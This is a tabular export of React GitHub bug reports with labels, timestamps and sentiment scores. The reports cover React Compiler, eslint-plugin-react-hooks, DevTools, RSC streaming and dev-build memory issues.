  **“Application error: a client-side exception has occurred while loading playground.re... [TRUNCATED]",Status: Unconfirmed,2025-10-08 15:18:32+00:00,2025-10-13 10:04:22+00:00,2,Status: Unconfirmed,4.7818,react dev playground shows application error a client side exception has occurred while loading playground react dev bug report react version open react playground observe that the page crashes with a client side exception screenshot attached note i have disabled all the chrome extensions so that any other client side extension are not interfering still the issue persists attaching chrome version version official build bit link to code example not required this issue occurs even with an empty playground or default example no user code modification console error ef c f f fb js uncaught typeerror cannot read properties of undefined reading code at r ef c f f fb js at ef c f f fb js at v ef c f f fb js at ao f e f c ae ddb f e js at il f e f c ae ddb f e js at is f e f c ae ddb f e js at si f e f c ae ddb f e js at f e f c ae ddb f e js at se f e f c ae ddb f e js at ca f e f c ae ddb f e js at messageport s a c f js the current behavior the playground fails to render and shows application error a client side exception has occurred while loading playground re truncated,bug,-0.9501
facebook/react,3495840138,Bug: eslint-react-hooks false positives on immutability rule,"I have a function definition inside my react component:

```
  const go = () => {
    if (isHashLink) {
      scrollToHash(props.to);
      window.location.hash = props.to;
    } else {
      navigate(props.to);
    }
  };
```

the immutability rule is triggered:

```
Error: This value cannot be modified

Modifying a variable defined outside a component or hook is not allowed. Consider using an effect.

/Users/marcos/Documents/GitHub/bombtimer.dev/client/components/utils/Router.tsx:184:7
  182 |     if (isHashLink) {
  183 |       scrollToHash(props.to);
> 184 |       window.location.hash = props.to;
      |       ^^^^^^^^^^^^^^^ value cannot be modified
  185 |     } else {
  186 |       navigate(props.to);
  187 |     }eslint(react-hooks/immutability)
```

although the function is meant to be called in an event handler, which is good practice according to react docs.",Status: Unconfirmed,2025-10-08 15:05:46+00:00,2025-10-09 13:42:25+00:00,2,Status: Unconfirmed,0.9421,eslint react hooks false positives on immutability rule i have a function definition inside my react component the immutability rule is triggered although the function is meant to be called in an event handler which is good practice according to react docs,bug,0.743
facebook/react,3495665705,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 18.2.0

## Steps To Reproduce

1. implement renderToPipeableStream with a fastify server
2. stream never starts with pipe(reply.raw) inside onShellReady
3.  works if we add reply.raw.write('') before calling renderToPipeableStream

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior
stream never starts with pipe(reply.raw) inside onShellReady


## The expected behavior
stream to start with pipe(reply.raw) inside onShellReady without adding reply.raw.write('')
","Status: Unconfirmed,Resolution: Stale",2025-10-08 14:22:31+00:00,2026-01-13 15:08:04+00:00,2,"Status: Unconfirmed,Resolution: Stale",97.0316,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version implement rendertopipeablestream with a fastify server stream never starts with pipe reply raw inside onshellready works if we add reply raw write before calling rendertopipeablestream your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior stream never starts with pipe reply raw inside onshellready the stream to start with pipe reply raw inside onshellready without adding reply raw write,bug,-0.7003
facebook/react,3494954679,[Compiler Bug]: Please make a new release above 19.1.0.,"### What kind of issue is this?

- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

.

### Repro steps

Thank you for releasing React Compiler 1.0, that's a huge milestone! _Congrats!_

""1.0"" certainly has marketing value, but it is somewhat problematic in this case. Previously there were multiple pre-releases coupled to React in the 19.x range. I get that React Compiler is independent from React, so that's why you probably chose a new versioning scheme, and since the 19.x range was never marked as `latest`, new users can just install `1.0.0` and get on with it.

However, existing users won't be notified by their package manager (or dependabot etc.) as they will see `1.0.0` as a downgrade for any users of the `19.x` versions. I saw that 1.0 was announced and it took me a while to figure out how to upgrade to it. This means that most existing users have to learn about this update outside of their package manager.

It's also confusing when looking at the package metadata, since the 19.x versions are still tagged as `rc` and `beta`, making them look newer than `1.0.0`.

<img width=""912"" height=""744"" alt=""Image"" src=""https://github.com/user-attachmen... [TRUNCATED]","Type: Bug,Status: Unconfirmed,Component: React Compiler",2025-10-08 11:02:46+00:00,2026-05-18 13:18:03+00:00,0,"Type: Bug,Status: Unconfirmed,Component: React Compiler",222.0939,compiler bug please make a new release above what kind of issue is this react compiler core the js output is incorrect or your app works incorrectly after optimization x babel plugin react compiler build issue installing or using the babel plugin eslint plugin react compiler build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps thank you for releasing react compiler that s a huge milestone congrats certainly has marketing value but it is somewhat problematic in this case previously there were multiple pre releases coupled to react in the x range i get that react compiler is independent from react so that s why you probably chose a new versioning scheme and since the x range was never marked as new users can just install and get on with it however existing users won t be notified by their package manager or dependabot etc as they will see as a downgrade for any users of the versions i saw that was announced and it took me a while to figure out how to upgrade to it this means that most existing users have to learn about this update outside of their package manager it s also confusing when looking at the package metadata since the x versions are still tagged as and making them look newer than img width height alt image src truncated,bug,0.7743
facebook/react,3494440821,Bug: `console.timeStamp` is not a function on v19.2.0,"After updating `react` and `react-dom` from `19.1.0` to `19.2.0`, I'm getting the following error on Chrome:

```
Uncaught TypeError: console.timeStamp is not a function
```

The error is thrown from [this line](https://github.com/facebook/react/blob/848e0e3a4f12022d396ddbc2b52fd8fa7ac31fa9/packages/react-reconciler/src/ReactFiberPerformanceTrack.js#L66).

When using `console.timeStamp()` in the console (while staying on the app), I get the same error. When using the same command on another Chrome tab (outside of the app) or on Firefox, I get `undefined` and no error.

Downgrading back to `19.1.0` fixes the issue.

**React version:** `19.2.0`
**Chrome version**:  141.0.7390.66 (Official Build) (64-bit)
",Status: Unconfirmed,2025-10-08 08:34:27+00:00,2025-10-09 05:36:33+00:00,5,Status: Unconfirmed,0.8765,is not a function on v after updating and from to i m getting the following error on chrome the error is thrown from this line when using in the console while staying on the app i get the same error when using the same command on another chrome tab outside of the app or on firefox i get and no error downgrading back to fixes the issue react version chrome version official build bit,bug,-0.9217
facebook/react,3493855003,Bug: Massive memory allocations using React dev build under frequent updates (prod build unaffected),"React dev build has a memory issue where under frequent updates memory footprint grows from ~100 MB to 1 GB within 5 minutes in a simple reproduction app. The JS heap remains stable at ~50 MB. Production builds are unaffected. Or I might have introduced a bug which is reproducible in dev only.

## Reproduce

1. Run: https://github.com/dokugo/react-dev-memory-leak
This repo replicates behavior I have in one of my apps. It's a virtualized table with 400 rows and 10 cols. Every second the last row is removed and one new row is prepended. Also a random 50% of total cells are updated and re-rendered (increased the amount for faster reproduction).

2. Do nothing and wait a few minutes, see ""memory footprint"" in Chrome task manager, or ""memory"" in Firefox about:processes grow from ~100MB to 1GB in a few minutes, while actual JS memory heap stays lean and stable.

3. While app is running: Chrome DevTools > Memory > Allocation instrumentation on timeline (Allocation stack traces checked). Allocation timeline points to React internals, probaby their allocations aren't promptly GC'd. Perhaps some dev mode instrumentation? Or maybe has something to do with detached nodes?

4. See top offenders (all from react-dom-client.development.js). Data from the screenshot below:
- addValueToProperties > addObjectDiffToProperties: 20 million objects allocated, +610MB
- logComponentRender > commitPassiveMountOnFiber, recursivelyTraversePassiveMountEffects: 3.9M obj, 186MB
- repeat > addValueToPropert... [TRUNCATED]",Status: Unconfirmed,2025-10-08 05:09:16+00:00,2025-10-13 21:42:15+00:00,20,Status: Unconfirmed,5.6896,massive memory allocations using react dev build under frequent updates prod build unaffected react dev build has a memory issue where under frequent updates memory footprint grows from mb to gb within minutes in a simple reproduction app the js heap remains stable at mb production builds are unaffected or i might have introduced a bug which is reproducible in dev only reproduce run this repo replicates behavior i have in one of my apps it s a virtualized table with rows and cols every second the last row is removed and one new row is prepended also a random of total cells are updated and re rendered increased the amount for faster reproduction do nothing and wait a few minutes see memory footprint in chrome task manager or memory in firefox about processes grow from mb to gb in a few minutes while actual js memory heap stays lean and stable while app is running chrome devtools memory allocation instrumentation on timeline allocation stack traces checked allocation timeline points to react internals probaby their allocations aren t promptly gc d perhaps some dev mode instrumentation or maybe has something to do with detached nodes see top offenders all from react dom client development js data from the screenshot below addvaluetoproperties addobjectdifftoproperties million objects allocated mb logcomponentrender commitpassivemountonfiber recursivelytraversepassivemounteffects m obj mb repeat addvaluetopropert truncated,bug,0.4404
facebook/react,3493616428,Bug: ViewTransition animations broken when using React Portal,"When using React's `ViewTransition` component with `createPortal`, the view transition animations cause content that should be behind a modal dialog to appear on top of it during the transition. The background content (like buttons) becomes visible over the modal content, breaking the expected visual hierarchy.

This issue does not occur when the same content is rendered without `createPortal` - the animations work smoothly and maintain proper visual layering.

React version: 19.3.0-canary-3025aa39-20251007

## Steps To Reproduce

1. Create a React component with `ViewTransition` wrapping the main content
2. Add a modal dialog that uses `createPortal` to render to `document.body`
3. Include a `startTransition` call when opening/closing the modal
4. Trigger the modal open/close action
5. Observe the layering issue during the view transition

Link to code example:

https://github.com/nikhilsnayak/view-transition-react-portal-bug

https://codesandbox.io/p/sandbox/flamboyant-fire-fqz24d

```jsx
import { ViewTransition } from 'react';
import { startTransition, Suspense, use, useState } from 'react';
import { createPortal } from 'react-dom';

export default function App() {
  const [isOpen, setIsOpen] = useState(false);

  return (
    <ViewTransition>
      <div className='app-container'>
        <button
          className='open-button'
          onClick={() => {
            startTransition(() => {
              setIsOpen(true);
            });
          }}
        >
          Cl... [TRUNCATED]","Resolution: Stale,Resolution: Expected Behavior",2025-10-08 02:43:36+00:00,2026-03-24 15:28:16+00:00,5,"Resolution: Stale,Resolution: Expected Behavior",167.531,viewtransition animations broken when using react portal when using react s component with the view transition animations cause content that should be behind a modal dialog to appear on top of it during the transition the background content like buttons becomes visible over the modal content breaking the expected visual hierarchy this issue does not occur when the same content is rendered without the animations work smoothly and maintain proper visual layering react version canary aa create a react component with wrapping the main content add a modal dialog that uses to render to include a call when opening closing the modal trigger the modal open close action observe the layering issue during the view transition link to code example jsx import viewtransition from react import starttransition suspense use usestate from react import createportal from react dom export default function app const isopen setisopen usestate false return button classname open button onclick starttransition setisopen true cl truncated,bug,0.6249
facebook/react,3491609734,[Compiler Bug]: React Compiler does not compile a component if it contains a reference to Object.entries within a try block within an async function,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAHQHaYJYFsAOEMALgAQBKCAhnMQDSnClRgIDKxVxCpAvqQDMYEXKTQgY1WuIDcmTAKgZa2CBlIAxIrgDq2YgAsA8gCMAVglobhuAKIZiMbAjAAKJgOcAbACZg+AJSMmKSkcGpgZAZUGD5e7FAmuPqkALykVGAAnsqkrggAbggOQakAfMFYxI5ZlWhkoQJEeeEYkaQA2gDWCFkMBVReUAgAuqQQAqSmFrQAdMWOzm6eCL5gAUHA8sT1rZDxs14QAOauPX2kHE4YpwNDCBtyVbzb-HBccAZ5D3XEL+p8J4hUiSYiwdSuYGhAA8Jig1TUpGIWXwCFS4jhCKwIHGGAAwl5sHAuqlgNFYvE2Ilkn8ylSkvpoQB6THENRlYEBJ7-TAIAAehBIpB8CAEVCgXjIWhgun0xnMlmI1hE9kWLhkIDoIFanmOKBAeEFZGRqMYpAACkNjtgMEZ8MRVG0+IIbKQAOQmKgmVYAWnwVptPskNGIPvCBGw8RgTJ82EibqBGHcwKZTPD+EjXEdAFkICLkGIQIMvOJMPwwFmwCt-JaoNbbfbHesNVqwAYIAB3ACSDgQMAwgzAKDFXlYvCAA

### Repro steps

1. Go to https://playground.react.dev/ (make sure to clear your site data before loading this, because it likes to autosave your code, even if it causes the sandbox to crash)
2. Paste the following
```
import React, { useState } from ""react"";

function FormWithObjectFromEntries({ fields }) {
  const handleSubmit = async (event) => {
    try {
      for (const [key, value] of Object.entries(fields)) {
        console.... [TRUNCATED]","Component: React Compiler,Compiler: todo",2025-10-07 13:55:32+00:00,2026-02-04 03:24:44+00:00,8,"Component: React Compiler,Compiler: todo",119.5619,compiler bug react compiler does not compile a component if it contains a reference to object entries within a try block within an async function what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization x babel plugin react compiler build issue installing or using the babel plugin eslint plugin react compiler build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps go to make sure to clear your site data before loading this because it likes to autosave your code even if it causes the sandbox to crash paste the following import react usestate from react function formwithobjectfromentries fields const handlesubmit async event try for const key value of object entries fields console truncated,bug,0.2023
facebook/react,3487757433,[DevTools Bug] Cannot read properties of undefined (reading 'local'),"### Website or app

private

### Repro steps

I clicked on ""Debug"" in the settings.

### How often does this bug happen?

Every time

### DevTools package (automated)

react-devtools-extensions

### DevTools version (automated)

6.1.5-5d87cd2244

### Error message (automated)

Cannot read properties of undefined (reading 'local')

### Error call stack (automated)

```text
at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1622093
    at Ce.emit (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1203343)
    at Ce.updateHookSettings (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1245654)
    at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1449977
    at commitHookEffectListMount (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:129190)
    at commitPassiveMountOnFiber (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:160553)
    at recursivelyTraversePassiveMountEffects (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:160187)
    at commitPassiveMountOnFiber (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:160621)
    at recursivelyTraversePassiveMountEffects (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:160187)
    at commitPassiveMountOnFiber (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:160621)
```

### Error component stack (automated)

```text
at DebuggingSettings (chr... [TRUNCATED]","Type: Bug,Status: Unconfirmed,Component: Developer Tools",2025-10-06 15:08:05+00:00,2025-10-08 13:04:38+00:00,1,"Type: Bug,Status: Unconfirmed,Component: Developer Tools",1.9143,devtools bug cannot read properties of undefined reading local website or app private repro steps i clicked on debug in the settings how often does this bug happen every time devtools package automated react devtools extensions devtools version automated d cd error message automated cannot read properties of undefined reading local error call stack automated error component stack automated text at debuggingsettings chr truncated,bug,-0.9325
facebook/react,3486116981,Bug: RSC `renderToReadableStream/createFromReadableStream` gets stuck for certain objects on development,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 19.2

(This didn't reproduce on 19.1.1. Based on old reproduction https://github.com/hi-ogawa/react-router-templates/commit/e6eddd0a3393a2379f238224be1fc85d71efd2c9, it reproduced since at least 19.2.0-canary-19baee81-20250725.)

## Steps To Reproduce

When serializing and deserializing certain objects with the same object reference as a property and as a prop, `createFromReadableStream` gets stuck.

```tsx
import { renderToReadableStream } from ""react-server-dom-xxx/server.edge"";
import { createFromReadableStream } from ""react-server-dom-xxx/client.edge"";

async function test1() {
  // serialize same `obj` reference as top-level object and as prop
  const obj = {};
  function Test(_props: { obj: {} }) {
    return ""test"";
  }
  const original = {
    obj: obj,
    node: <Test obj={obj} />,
  }
  console.log(""[original]"", original);
  const stream = renderToReadableStream(original);
  console.log(""[stream]"", stream);
  const restored = await createFromReadableStream(stream); // 👈 this gets stuck
  console.log(""[restored]"", restored);
}
```

Interestingly, it works if the order of properties are flipped, for example:

```tsx
  const original = {
    node: <Test obj={obj} />,
    obj: obj,
  }
```

This happens only on development. I... [TRUNCATED]",Status: Unconfirmed,2025-10-06 08:04:34+00:00,2025-10-27 21:06:30+00:00,0,Status: Unconfirmed,21.543,rsc gets stuck for certain objects on development of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version this didn t reproduce on based on old reproduction it reproduced since at least canary baee when serializing and deserializing certain objects with the same object reference as a property and as a prop gets stuck interestingly it works if the order of properties are flipped for example this happens only on development i truncated,bug,0.5423
facebook/react,3486088032,[Compiler Bug]: Unclear preserve-manual-memoization error message.,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [x] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAjggDswDcIAZCOAQwBsBhWgW01oEsBzY-AXnwAKADq9Crdt2LJ81OkwmceAJQgB3fAB98xKPXoAaUQEoZchszZLe23fv4A+UfnFWp+AGQfnL15J4AdAAmHABmoRxwergAnvgAhAJ29J7eYi50boEcQak+GYpSAfQIAG4I9GB56X7WAcSsCNW+tUXEGARe+a2B6u0wVV01mf7EAWD0UFzNviN1uLRcYN0A-PjA3S5BCGBwMByYuBwkMnNF27v7h8c22gDkd0Y1W2ERUfSxp4WBIeGR0TEni0XDkvlkxjkgcCSuVKmDRsUyhUwFCWg0WAh4XV0QhUb52uhcFi2h08S4JlNiYEKVw8QBfboyZIAblEogw2Dw+FCUGIcCOJHwUDACHMCnBACEYgBlSZcQQ0mRkfbELimWQ0CzfGw6PQpDZiIikAhnHhVATChAAFVoACMSoI7qbiHdjKyxDAELhYLxLQBZBAsCCCQTGRzrbqhHBCI1kfA5fAQUL4ADytoAVgh+QEANYIGJgQTOsDGMMG4GEEhx538HqkADaOQAuu6K2EY9rxnL+HwBDSy5tfJ7vTBeBQxZZRkXtW7BwyavOWsOfbr9K38HSDPh68WtzSm7PiPOQAYQEaIlwUCAOGwcOQYpgmsB8AAFOUcYgp65VjfcmAQFh8DuW07QqABaTB32IMDPVofkwKINgOBKGAAHoQjIO53VEQRy3wVDUMQzBkNoAViD9CBthkYQQAYegaJ8BBiFKDh-2IDFiCJCNiG6Ji7RKF9PRFGBygAUXQDgyA-LgAyDDgAC9SJuABxKBaBgWhOIQHYZFwGAoFxbpSgYHJSIQQSdgQESEHEySjlVWSIAUpSSFU9TNNwbSwF0-SEB8ec6XwMAlLACIdlfdSjgYAAeN8pg-L8yLABw3RPcAAAt1AASS00cGDAFBQnyhA6SAA

### Repro steps

The above example calls a module-local function `return toLocal... [TRUNCATED]","Type: Bug,Component: React Compiler",2025-10-06 07:54:04+00:00,2026-05-18 13:26:42+00:00,1,"Type: Bug,Component: React Compiler",224.231,compiler bug unclear preserve manual memoization error message what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin x eslint plugin react compiler build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps the above example calls a module local function return tolocal truncated,bug,-0.6597
facebook/react,3486042632,[Compiler Bug]: The compiler cannot handle callbacks which reference themselves.,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [x] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAgBMEAzAQygBsCSoA7OXASwjvyjAQAkIIBrABQBKfMAA6bfHFZgCrAIKZMMCADcEhfAF52nAMJlKlAEZk4g4doB8oifnv5OuAMq4yuBALpVKQgNx2DgCS8gAKAPwAdLI4CFEQJCQCCkoq6oT+gQC+ADT4ANohEdG4sQC6mXRZEiA5INJ0JEwA5iggTAC22Hj4uACemAii+KGUUM1MdADymMwy+Fn4JCod+ADkpsYIlAC0mGMTdDswCGa4O9JdTJQIMAD0hEyyawF0EgLiknd3l5jX7iw6ABZCDEZD4MQgQyUSGBBB0VRMFR0Drw3Dgz6BezwsjGG6hE6cGDqACi6CezDozSBCA6ECYAC8AawAOJQMgwMh0DwIMDg3AwKAIHJY-CqQxMQjuBAE3m3Unk2STam0+lMuZ0Nkcrk8vm9QUIbISRZgAFgJq8kYc5iGAA8o3GkxmGrAVn8tXAAAsIAB3ILc250QxgFDkSicLJAA

### Repro steps

If you have a pattern where a function memoized with `useCallback` refers to its own binding outside of the `useCallback` call, React Compiler will say that the variable is accessed before it is defined. However, all other JavaScript tooling can handle this use-case. It would be great if the React Compiler could handle this too.

### How often does this bug happen?

Every time

### What version of React are you using?

latest

### What version of React Compiler are you using?

latest","Type: Bug,Status: Unconfirmed,Component: React Compiler",2025-10-06 07:38:05+00:00,2026-05-18 13:26:32+00:00,1,"Type: Bug,Status: Unconfirmed,Component: React Compiler",224.242,compiler bug the compiler cannot handle callbacks which reference themselves what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin x eslint plugin react compiler build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps if you have a pattern where a function memoized with refers to its own binding outside of the call react compiler will say that the variable is accessed before it is defined however all other javascript tooling can handle this use case it would be great if the react compiler could handle this too how often does this bug happen every time what version of react are you using latest what version of react compiler are you using latest,bug,0.1779
facebook/react,3486006104,[Compiler Bug]: `startTransition` shouldn't be required as a dependency for `useCallback`.,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [x] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAgBMEAzAQygBsCSoA7OXASwjvwCUFswnccBPAMJkYhABTAAOm3wwuEHnxj9ks+YoEBpBPwA00-PgBuTBAHcEMVSfOXte6QF9VUmXO68Bqzh6VCRhAD67gqeygAkANY6ANwGxqYWVhzqYf6igTZJUbFOAJT4roZwrGAEANq6+GUiuAAqMGR0iix0ALr4ALz4UGAIDU0trGJ5cTIlzQRyJAi4cAAWnCRdPX1L+AA8KTNz8wBSEABGADJMZQBibAA++HRUlPgAfPhid5SUo-ETZWq+Aiu9BDnRoAcwAtgg6LgxPFDCDGph5gBHSgAA1hhnwJFBEKhKT+ymEGRCGmU+FY+NCfkKGMx+CYhFpmMoEDgZEoCDATMMcjIhH4AGVcGRcAhudVhbhetJxQA6eU+KkCAASCD5lmCqT8cvlBxOZ1wmoJ-HwAAERCCoLjcGAxCV6LhVABGAAMeSZjgxqP0Mh5Wq0Oh9hk+dC+pQqfMIitJ-GOrPZCCqkejaTjbI5AEkwBm6OdKEwQfNcB1OhjAQBZKCS1qbSkxomEACChCj-uUaYTlerFOeYnhZERKPRvsxYKrIprKb8DebreNHY5XYnw3F4RJaVUGYAIgBCVcs9MIVRCmBMOggvcj4M0q+Y5Nt2Pxjlidd+VRrh9VA8J9-fjkFIo6SA+VZSnAQGyNJVlHFT1b1gulURDMNJnJOhZzA9snwQAE+mEd5DjIOBIhhEcxD-I8JVPc8Ck6Z5ALpJhljEHd73nLCsxzPMCyLADxVYqDH0PCRxUMVhBAgMFMA5UVCFUEYujokTMRqPABmaXhWjEeTaJvIC9MxaZZgWJZZTgWA5ChAB+WVhNvfTMXtKFnRdIN7P0syYEgZI3koVy3MxRwQ38wxArGfzHD8-SjBEJgyEODkwBcJTDHIyL7NfLxfgE2UGTSoCIpgoL8oxAqR3KJl+JjBdEwqlsMMEhMONzfNC1wPKMuUHLCEitpXKQtxZlgNhWHQh9qrGWCQF0EAJhIAsUBAJhJJwAhcH4... [TRUNCATED]","Type: Bug,Status: Unconfirmed,Component: React Compiler",2025-10-06 07:24:39+00:00,2025-10-15 16:45:07+00:00,1,"Type: Bug,Status: Unconfirmed,Component: React Compiler",9.3892,compiler bug shouldn t be required as a dependency for what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin x eslint plugin react compiler build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro truncated,bug,-0.1027
facebook/react,3485376859,Bug: eslint-plugin-react-hooks@6.1.1 does not export config types correctly,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

- rel: #34705

React version: 19.2.0

## Steps To Reproduce

1. Install eslint-plugin-react-hooks@6.1.1
2. Import `reactHooks.configs['recommended-latest']` in eslint.config.js with ts-check enabled
3. TypeScript outputs an error stating that there is no type named config in reactHooks.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

- https://github.com/eai04191/eslint-plugin-react-hooks-config-exports-repro
- https://github.com/eai04191/eslint-plugin-react-hooks-config-exports-repro/actions/runs/18266988284/job/52002848851

<img width=""2148"" height=""1714"" alt=""Image"" src=""https://github.com/user-attachments/assets/42e4ebf3-0e97-42e4-82cd-bba4cc01e6ca"" />

In 6.1.1, the plugin object with meta, rules, and configs is exported as the default, but TypeScript does not seem to recognize this.

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report.... [TRUNCATED]",Status: Unconfirmed,2025-10-06 01:07:38+00:00,2025-10-06 04:53:22+00:00,0,Status: Unconfirmed,0.1568,eslint plugin react hooks does not export config types correctly of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed rel react version install eslint plugin react hooks import in eslint config js with ts check enabled typescript outputs an error stating that there is no type named config in reacthooks your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example in the plugin object with meta rules and configs is exported as the default but typescript does not seem to recognize this please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report truncated,bug,-0.836
facebook/react,3484315479,Bug: Cannot assign to read only property 'params' of object '#<Object>',"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 19.0.0
Next.js version: 15.4.7

## Steps To Reproduce

1. `npm run dev`
2. Open the web page

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example: https://github.com/opanel-mc/opanel/tree/main/frontend
This issue may have something to do with this file: https://github.com/opanel-mc/opanel/blob/f1be02ab930454dad91a5415cda25d8763f83662/frontend/lib/settings.ts

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior
Throw the error `Cannot assign to read only property 'params' of object '#<Object>'` when opening the page

The stacktrace:
<img width=""1520"" height=""1184"" alt=""Image"" src=""https://github.com/user-attachments/assets/38bf5779-0f6b-43d5-a863-ca60a77f9b37"" />

**Note:** This error doesn't affect other features a... [TRUNCATED]",Status: Unconfirmed,2025-10-05 02:27:17+00:00,2025-10-08 04:56:33+00:00,1,Status: Unconfirmed,3.1037,cannot assign to read only property params of object of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version next js version open the web page your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example this issue may have something to do with this file please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior throw the error when opening the page the stacktrace note this error doesn t affect other features a truncated,bug,-0.8957
facebook/react,3483789588,Bug: eslint-plugin-react-hooks@6.1.1 TypeError: Converting circular structure to JSON,"After updating `eslint-plugin-react-hooks` to version `6.1.1`, running `eslint .` throws an error caused by a circular reference inside the configuration object.

React version: 19.2.0

## Steps To Reproduce

1. `git clone https://github.com/mikaelbalin/mikaelbalin.github.io`
2. `cd mikaelbalin.github.io` 
3. `pnpm i`
4. `pnpm lint`

Link to code example: https://github.com/mikaelbalin/mikaelbalin.github.io

## The current behavior

Running `eslint .` fails with the following error:

```
TypeError: Converting circular structure to JSON
    --> starting at object with constructor 'Object'
    |     property 'configs' -> object with constructor 'Object'
    |     property 'flat/recommended' -> object with constructor 'Array'
    |     ...
    |     property 'plugins' -> object with constructor 'Object'
    --- property 'react-hooks' closes the circle
```

## The expected behavior
